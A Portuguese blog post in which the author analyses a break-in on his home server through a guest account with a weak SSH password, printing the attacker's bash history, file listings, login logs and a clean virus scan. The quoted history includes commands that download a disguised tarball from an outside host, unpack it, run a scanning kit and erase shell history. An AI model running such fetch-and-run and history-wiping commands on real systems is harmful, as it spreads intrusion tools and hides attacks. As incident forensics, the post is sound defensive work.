terça-feira, 26 de fevereiro de 2013

O meu servidor foi "hackado"

É verdade. Hoje ao aceder ao computador que uso em casa como servidor reparei que estavam dois executáveis, um com o nome a, outro com o nome start, bem como uma data de processos sshd a correr na conta do utilizador "visitante". O visitante é uma conta que serve para quem precisar, utilizar o computador como self-service quando lá vai a casa.

Acontece que, pela natureza da conta, a password que lhe estava associada era muito estúpida. Sugestão: é a primeira coisa que vos vem à cabeça quando lêem o nome do utilizador. Até aqui nada de especial. Não fosse o facto de este computador estar disponível para acesso remoto através da Internet. E não fosse o facto de eu nunca me ter lembrado de proibir o acesso remoto através desta conta. Algo que devia ter feito, dada a password estúpida que lá tinha.

Posto isto, era uma questão de tempo até acontecer o que aconteceu. Deixo aqui um "relatório" do que encontrei na máquina:
 

  • Últimas instruções executadas e não escondidas pelo atacante (aparentemente apagou o registo das instruções mais antigas):
    # cat .bash_history 
    rm -rf .system
    killall -9 httpd 
    rm -rf .bash_history
    rm -rf Quick
    rm -rf Quick.mp3
    wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
    uptime
    wget http://www.visatorul.go.ro/Quick.mp3
    tar -xzvf Quick.mp3
    cd Quick
    chmod +x *
    nohup ./start 204 >>/dev/null &
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    ps -x
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    
    O site http://www.visatorul.go.ro, de onde foi sacado o Quick.mp3 (na verdade um pacote gzip), ainda está disponível e contém diversas ferramentas úteis para realizar ataques deste tipo.
     
  • Conteúdo da directoria Quick, para onde foi extraído o conteúdo do ficheiro Quick.mp3:
    # ls -a /home/visitante/Quick
    total 2.6M
    drwxr-xr-x  2 visitante visitante 4.0K Feb 25 23:21 ./
    drwxr-xr-x 22 visitante visitante 4.0K Feb 21 01:05 ../
    -rwxr-xr-x  1 visitante visitante  382 Mar 25  2006 0-20
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 101-120
    -rwxr-xr-x  1 visitante visitante  406 Mar 25  2006 121-140
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 141-160
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 161-180
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 181-200
    -rwxr-xr-x  1 visitante visitante  460 Mar 25  2006 201-225
    -rwxr-xr-x  1 visitante visitante  384 Mar 25  2006 21-40
    -rwxr-xr-x  1 visitante visitante  515 Mar 25  2006 226-255
    -rwxr-xr-x  1 visitante visitante  383 Mar 25  2006 41-60
    -rwxr-xr-x  1 visitante visitante  383 Mar 25  2006 61-80
    -rwxr-xr-x  1 visitante visitante  385 Mar 25  2006 81-100
    -rwxr-xr-x  1 visitante visitante  466 May  6  2008 a
    -rwxr-xr-x  1 visitante visitante 5.9K May 15  2005 pscan2
    -rwxr-xr-x  1 visitante visitante  309 May  6  2008 scan
    -rwxr-xr-x  1 visitante visitante 245K Feb 13  2001 screen
    -rwxr-xr-x  1 visitante visitante 1.4M Jun  5  2005 sshd
    -rwxr-xr-x  1 visitante visitante 3.2K May  6  2008 start
    -rwxr-xr-x  1 visitante visitante 5.7K May 15  2005 pscan2.c
    -rw-r--r--  1 visitante visitante  28K Feb 25 21:34 scan.log
    -rwxr-xr-x  1 visitante visitante  78K Feb 25 05:15 nobash.txt
    -rwxr-xr-x  1 visitante visitante  75K Mar 10  2007 pass.txt
    -rwxr-xr-x  1 visitante visitante 684K Feb 24 19:05 vuln.txt
  • Tipos reais dos ficheiros:
    # file W2Ksp3.exe Quick.mp3
    W2Ksp3.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
    Quick.mp3: gzip compressed data, from Unix, last modified: Tue May 6 17:32:53 2008

    # file Quick/*
    Quick/0-20: ASCII text
    Quick/101-120: ASCII text
    Quick/121-140: ASCII text
    Quick/141-160: ASCII text
    Quick/161-180: ASCII text
    Quick/181-200: ASCII text
    Quick/201-225: ASCII text
    Quick/21-40: ASCII text
    Quick/226-255: ASCII text
    Quick/41-60: ASCII text
    Quick/61-80: ASCII text
    Quick/81-100: ASCII text
    Quick/a: Bourne-Again shell script text executable
    Quick/nobash.txt: ASCII Pascal program text
    Quick/pass.txt: ASCII Pascal program text
    Quick/pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped
    Quick/pscan2.c: ASCII C program text
    Quick/scan: Bourne-Again shell script text executable
    Quick/scan.log: ASCII text
    Quick/screen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped
    Quick/sshd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, not stripped
    Quick/start: ASCII C++ program text
    Quick/vuln.txt: ASCII text

    Ao analisar os scripts deixados percebe-se que o atacante pretende pelo menos localizar outras máquinas onde seja possível entrar com recurso a ataques de bruteforce/dicionário. Não encontrei vestígios de tentativas de escalada de privilégios.
     
  • As entradas na máquina foram todas provenientes de IPs dentro da gama 80.79.152.0 - 80.79.159.255, alocada à "Gulf Research & Development Company", do Líbano. Provavelmente outra vítima destes ataques. As linhas brancas correspondem a entradas legítimas na máquina feitas por mim:
    # last
    
    
    visitant pts/7        80.79.159.129    Mon Feb 25 18:27 - 18:31  (00:03)    
    visitant pts/7        80.79.159.207    Sun Feb 24 20:58 - 20:58  (00:00)    
    visitant pts/7        80.79.159.68     Sun Feb 24 11:17 - 11:17  (00:00)    
    visitant pts/7        80.79.159.236    Sat Feb 23 17:50 - 17:50  (00:00)    
    visitant pts/7        80.79.159.236    Sat Feb 23 17:41 - 17:42  (00:01)    
    visitant pts/9        80.79.159.18     Sat Feb 23 09:02 - 09:02  (00:00)    
    visitant pts/7        80.79.159.179    Sat Feb 23 08:58 - 09:14  (00:16)    
    visitant pts/7        80.79.159.73     Fri Feb 22 18:25 - 18:26  (00:00)    
    visitant pts/7        80.79.159.186    Thu Feb 21 08:53 - 08:53  (00:00)    
    visitant pts/7        80.79.159.118    Thu Feb 21 01:05 - 01:12  (00:07)    
    visitant pts/7        80.79.159.118    Wed Feb 20 21:22 - 21:25  (00:03)    
    visitant pts/7        80.79.159.118    Wed Feb 20 19:56 - 19:57  (00:00)    
    visitant pts/7        80.79.159.129    Tue Feb 19 09:54 - 09:55  (00:01)    
    visitant pts/7        80.79.159.206    Mon Feb 18 19:04 - 19:11  (00:06)    
    
    
    visitant pts/7        80.79.159.163    Sun Feb 17 07:49 - 07:56  (00:06)    
    visitant pts/7        80.79.159.194    Sat Feb 16 09:47 - 10:01  (00:14)    
    visitant pts/7        80.79.159.86     Fri Feb 15 19:33 - 19:33  (00:00)    
    
    visitant pts/7        80.79.159.184    Thu Feb 14 08:53 - 08:54  (00:00)    
    visitant pts/7        80.79.159.95     Wed Feb 13 18:51 - 18:53  (00:01)    
    visitant pts/7        80.79.159.192    Wed Feb 13 06:59 - 09:10  (02:11)    
    visitant pts/7        80.79.159.180    Tue Feb 12 18:55 - 19:00  (00:04)    
    visitant pts/7        80.79.159.243    Tue Feb 12 09:54 - 10:03  (00:08)    
    
    visitant pts/7        80.79.159.189    Mon Feb 11 19:36 - 19:37  (00:00)    
    visitant pts/7        80.79.159.189    Mon Feb 11 18:19 - 18:20  (00:00)    
    visitant pts/7        80.79.159.189    Mon Feb 11 18:11 - 18:17  (00:06)    
    

    Dadas as durações dos acessos, leva a crer que se trata de um bot que só se liga para deixar instruções previamente decididas, e não de alguém que tenha andado a "cheirar" os ficheiros do computador. Exceptuando, talvez, durante o dia 13 de manhã.
     
  • Registo de acessos:
    # lesspipe /var/log/auth.log.2.gz |grep "Accepted password"
    Feb 11 12:10:16   sshd[1966]: Accepted password for visitante from 201.238.204.67 port 37068 ssh2
    Feb 11 18:11:07   sshd[7375]: Accepted password for visitante from 80.79.159.189 port 23054 ssh2
    Feb 11 18:19:54   sshd[7534]: Accepted password for visitante from 80.79.159.189 port 22739 ssh2
    Feb 11 19:36:43   sshd[8196]: Accepted password for visitante from 80.79.159.189 port 22919 ssh2
    Feb 12 09:54:33   sshd[10735]: Accepted password for visitante from 80.79.159.243 port 3454 ssh2
    Feb 12 18:55:20   sshd[13432]: Accepted password for visitante from 80.79.159.180 port 42865 ssh2
    Feb 13 06:59:21   sshd[17464]: Accepted password for visitante from 80.79.159.192 port 5037 ssh2
    Feb 13 18:51:32   sshd[22779]: Accepted password for visitante from 80.79.159.95 port 27166 ssh2
    Feb 14 08:53:31   sshd[31507]: Accepted password for visitante from 80.79.159.184 port 2579 ssh2
    Feb 15 19:33:00   sshd[23053]: Accepted password for visitante from 80.79.159.86 port 56613 ssh2
    Feb 16 09:47:26   sshd[30487]: Accepted password for visitante from 80.79.159.194 port 56333 ssh2
    
    # grep "Accepted password" /var/log/auth.log.1 
    Feb 17 07:49:45   sshd[10186]: Accepted password for visitante from 80.79.159.163 port 63784 ssh2
    
    Feb 18 19:04:13   sshd[21598]: Accepted password for visitante from 80.79.159.206 port 51549 ssh2
    Feb 19 09:54:14   sshd[25465]: Accepted password for visitante from 80.79.159.129 port 25247 ssh2
    Feb 20 19:56:58   sshd[32602]: Accepted password for visitante from 80.79.159.118 port 40872 ssh2
    Feb 20 21:22:01   sshd[32715]: Accepted password for visitante from 80.79.159.118 port 40947 ssh2
    Feb 21 01:05:34   sshd[891]: Accepted password for visitante from 80.79.159.118 port 40872 ssh2
    Feb 21 08:53:13   sshd[17609]: Accepted password for visitante from 80.79.159.186 port 35478 ssh2
    Feb 22 18:25:05   sshd[24206]: Accepted password for visitante from 80.79.159.73 port 40585 ssh2
    Feb 23 08:58:03   sshd[27106]: Accepted password for visitante from 80.79.159.179 port 61723 ssh2
    Feb 23 09:02:07   sshd[27118]: Accepted password for visitante from 80.79.159.18 port 17361 ssh2
    Feb 23 17:41:54   sshd[31889]: Accepted password for visitante from 80.79.159.236 port 16591 ssh2
    Feb 23 17:50:30   sshd[31912]: Accepted password for visitante from 80.79.159.236 port 16261 ssh2
    
    # grep "Accepted password" /var/log/auth.log
    Feb 24 11:17:09   sshd[4021]: Accepted password for visitante from 80.79.159.68 port 43311 ssh2
    Feb 24 20:58:24   sshd[7093]: Accepted password for visitante from 80.79.159.207 port 48938 ssh2
    Feb 25 18:27:50   sshd[15629]: Accepted password for visitante from 80.79.159.129 port 19269 ssh2
    Interessante como o primeiro login com sucesso foi proveniente do IP 201.238.204.67. Os subsequentes, feitos a partir do mesmo dia ao final da tarde, já vieram todos a partir da subnet 80.79.159.XX. Dá a sensação de que houve comunicação da parte de um "descobridor" para um "atacante" de que foi descoberto um "alvo".
     
  • O ClamAV não encontrou nada de especial. Na verdade, também não me pareceu estarem envolvidos programas muito estranhos. Apenas ferramentas comuns que tiram partido das passwords fracas como a que eu tinha:
    # clamscan --infected -r /home/visitante/
    
    ----------- SCAN SUMMARY -----------
    Known viruses: 1868992
    Engine version: 0.97.6
    Scanned directories: 136
    Scanned files: 223
    Infected files: 0
    Data scanned: 54.67 MB
    Data read: 107.96 MB (ratio 0.51:1)
    Time: 53.460 sec (0 m 53 s)
    

Não encontrei nada suspeito na /tmp/ nem ficheiros pertencentes ao visitante fora da sua directoria home. Não encontrei nada de suspeito fora da directoria Quick.
Se alguém tiver conselhos para aprofundar a análise/ficheiros a investigar, agradeço. Encontrei muito poucas referências a ataques deste tipo (com estes ficheiros em particular). Este relatório no site Shell Person parece semelhante. Aliás, este post foi inspirado no mesmo.
Os ficheiros encontrados no computador estão disponíveis para análise aqui.

Sem comentários: